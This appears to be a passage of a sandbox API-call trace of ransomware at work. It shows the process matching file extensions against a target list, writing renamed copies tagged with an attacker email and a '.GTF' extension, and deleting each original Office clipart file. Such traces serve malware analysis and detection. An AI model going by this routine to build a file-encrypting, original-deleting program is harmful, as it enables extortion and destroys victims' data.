	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.365] lstrlenW (lpString=".doc") returned 4
	[0078.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.365] lstrlenW (lpString=".docx") returned 5
	[0078.365] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.365] lstrlenW (lpString=".pdf") returned 4
	[0078.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.365] lstrlenW (lpString=".xls") returned 4
	[0078.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.365] lstrlenW (lpString=".xlsx") returned 5
	[0078.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.365] lstrlenW (lpString=".ppt") returned 4
	[0078.366] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.366] lstrlenW (lpString=".zip") returned 4
	[0078.366] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.366] lstrlenW (lpString=".rar") returned 4
	[0078.366] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.366] lstrlenW (lpString=".bz2") returned 4
	[0078.366] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.366] lstrlenW (lpString=".7z") returned 3
	[0078.366] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.366] lstrlenW (lpString=".dbf") returned 4
	[0078.366] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.366] lstrlenW (lpString=".1cd") returned 4
	[0078.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0078.366] lstrlenW (lpString=".jpg") returned 4
	[0078.366] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.366] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.366] lstrlenW (lpString="AG00057_.GIF") returned 12
	[0078.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.367] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11891) returned 1
	[0078.367] CloseHandle (hObject=0x340) returned 1
	[0078.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220
	[0078.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.367] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.367] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.368] GetLastError () returned 0x0
	[0078.368] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2e73, lpOverlapped=0x0) returned 1
	[0078.370] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0078.371] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.371] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.371] SetEndOfFile (hFile=0x368) returned 1
	[0078.371] CloseHandle (hObject=0x368) returned 1
	[0078.373] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.373] SetEndOfFile (hFile=0x340) returned 1
	[0078.374] CloseHandle (hObject=0x340) returned 1
	[0078.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1
	[0078.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.375] lstrlenW (lpString=".doc") returned 4
	[0078.375] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.375] lstrlenW (lpString=".docx") returned 5
	[0078.375] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.375] lstrlenW (lpString=".pdf") returned 4
	[0078.375] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.375] lstrlenW (lpString=".xls") returned 4
	[0078.375] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.375] lstrlenW (lpString=".xlsx") returned 5
	[0078.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.375] lstrlenW (lpString=".ppt") returned 4
	[0078.375] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.375] lstrlenW (lpString=".zip") returned 4
	[0078.375] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.375] lstrlenW (lpString=".rar") returned 4
	[0078.375] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.375] lstrlenW (lpString=".bz2") returned 4
	[0078.375] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.375] lstrlenW (lpString=".7z") returned 3
	[0078.375] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".dbf") returned 4
	[0078.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".1cd") returned 4
	[0078.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".jpg") returned 4
	[0078.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".doc") returned 4
	[0078.376] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.376] lstrlenW (lpString=".docx") returned 5
	[0078.376] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.376] lstrlenW (lpString=".pdf") returned 4
	[0078.376] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString=".xls") returned 4
	[0078.376] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString=".xlsx") returned 5
	[0078.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.376] lstrlenW (lpString=".ppt") returned 4
	[0078.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".zip") returned 4
	[0078.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString=".rar") returned 4
	[0078.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.376] lstrlenW (lpString=".bz2") returned 4
	[0078.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.376] lstrlenW (lpString=".7z") returned 3
	[0078.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".dbf") returned 4
	[0078.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.376] lstrlenW (lpString=".1cd") returned 4
	[0078.377] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0078.377] lstrlenW (lpString=".jpg") returned 4
	[0078.377] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.377] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.377] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0078.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.421] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=517) returned 1
	[0078.421] CloseHandle (hObject=0x340) returned 1
	[0078.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220
	[0078.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.429] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.429] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.446] GetLastError () returned 0x0
	[0078.446] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x205, lpOverlapped=0x0) returned 1
	[0078.447] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x210, lpOverlapped=0x0) returned 1
	[0078.448] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.448] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.448] SetEndOfFile (hFile=0x368) returned 1
	[0078.449] CloseHandle (hObject=0x368) returned 1
	[0078.449] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.449] SetEndOfFile (hFile=0x340) returned 1
	[0078.450] CloseHandle (hObject=0x340) returned 1
	[0078.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1
	[0078.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.451] lstrlenW (lpString=".doc") returned 4
	[0078.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.451] lstrlenW (lpString=".docx") returned 5
	[0078.451] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.451] lstrlenW (lpString=".pdf") returned 4
	[0078.451] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.451] lstrlenW (lpString=".xls") returned 4
	[0078.451] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.451] lstrlenW (lpString=".xlsx") returned 5
	[0078.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.451] lstrlenW (lpString=".ppt") returned 4
	[0078.451] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.451] lstrlenW (lpString=".zip") returned 4
	[0078.451] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.451] lstrlenW (lpString=".rar") returned 4
	[0078.451] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.451] lstrlenW (lpString=".bz2") returned 4
	[0078.451] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.451] lstrlenW (lpString=".7z") returned 3
	[0078.451] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.451] lstrlenW (lpString=".dbf") returned 4
	[0078.451] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".1cd") returned 4
	[0078.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".jpg") returned 4
	[0078.452] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".doc") returned 4
	[0078.452] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.452] lstrlenW (lpString=".docx") returned 5
	[0078.452] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.452] lstrlenW (lpString=".pdf") returned 4
	[0078.452] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString=".xls") returned 4
	[0078.452] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString=".xlsx") returned 5
	[0078.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.452] lstrlenW (lpString=".ppt") returned 4
	[0078.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".zip") returned 4
	[0078.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString=".rar") returned 4
	[0078.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.452] lstrlenW (lpString=".bz2") returned 4
	[0078.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.452] lstrlenW (lpString=".7z") returned 3
	[0078.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".dbf") returned 4
	[0078.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.452] lstrlenW (lpString=".1cd") returned 4
	[0078.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0078.453] lstrlenW (lpString=".jpg") returned 4
	[0078.453] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.453] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.453] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0078.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.457] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=12482) returned 1
	[0078.457] CloseHandle (hObject=0x340) returned 1
	[0078.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220
	[0078.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0078.457] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.457] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0078.458] GetLastError () returned 0x0
	[0078.458] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0078.463] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0078.465] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.465] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.465] SetEndOfFile (hFile=0x368) returned 1
	[0078.465] CloseHandle (hObject=0x368) returned 1
	[0078.466] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.466] SetEndOfFile (hFile=0x340) returned 1
	[0078.467] CloseHandle (hObject=0x340) returned 1
	[0078.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1
	[0078.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.468] lstrlenW (lpString=".doc") returned 4
	[0078.468] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.468] lstrlenW (lpString=".docx") returned 5
	[0078.468] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.468] lstrlenW (lpString=".pdf") returned 4
	[0078.468] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.468] lstrlenW (lpString=".xls") returned 4
	[0078.468] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.468] lstrlenW (lpString=".xlsx") returned 5
	[0078.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.468] lstrlenW (lpString=".ppt") returned 4
	[0078.468] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.468] lstrlenW (lpString=".zip") returned 4
	[0078.468] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.468] lstrlenW (lpString=".rar") returned 4
	[0078.468] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.468] lstrlenW (lpString=".bz2") returned 4
	[0078.468] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.468] lstrlenW (lpString=".7z") returned 3
	[0078.468] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.468] lstrlenW (lpString=".dbf") returned 4
	[0078.468] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0078.468] lstrlenW (lpString=".1cd") returned 4
	[0078.469] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
